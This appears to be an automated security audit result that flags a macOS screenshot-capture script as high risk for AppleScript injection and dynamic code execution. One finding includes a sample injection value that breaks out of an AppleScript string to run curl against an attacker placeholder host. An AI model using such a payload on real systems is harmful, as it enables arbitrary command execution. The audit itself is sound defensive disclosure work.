macos-screenshot-capture
Fail
Audited by Gen Agent Trust Hub on Jul 10, 2026
Risk Level: HIGHCOMMAND_EXECUTION
Full Analysis
- [COMMAND_EXECUTION]: The
activate_appfunction inscripts/capture_macos_screenshot.pyis vulnerable to AppleScript injection. It uses an f-string to insert the--app(app_name) argument directly into a string executed byosascript. Because double quotes are not escaped, a crafted application name such asFinder" to do shell script "curl http://attacker.com/pwned" --could be used to execute arbitrary shell commands. - [COMMAND_EXECUTION]: The script performs dynamic code execution by generating a Swift program at runtime. It writes a hardcoded Swift source string to a temporary file and executes it via
subprocess.run(['swift', ...])to retrieve window metadata from the macOS CoreGraphics API. - [COMMAND_EXECUTION]: The script executes multiple system-level utilities including
screencapture,osascript, andswiftusing thesubprocessmodule. While the command arguments are passed as a list, the logical injection within the AppleScript content bypasses standard subprocess protections.
Recommendations
- AI detected serious security threats
Audit Metadata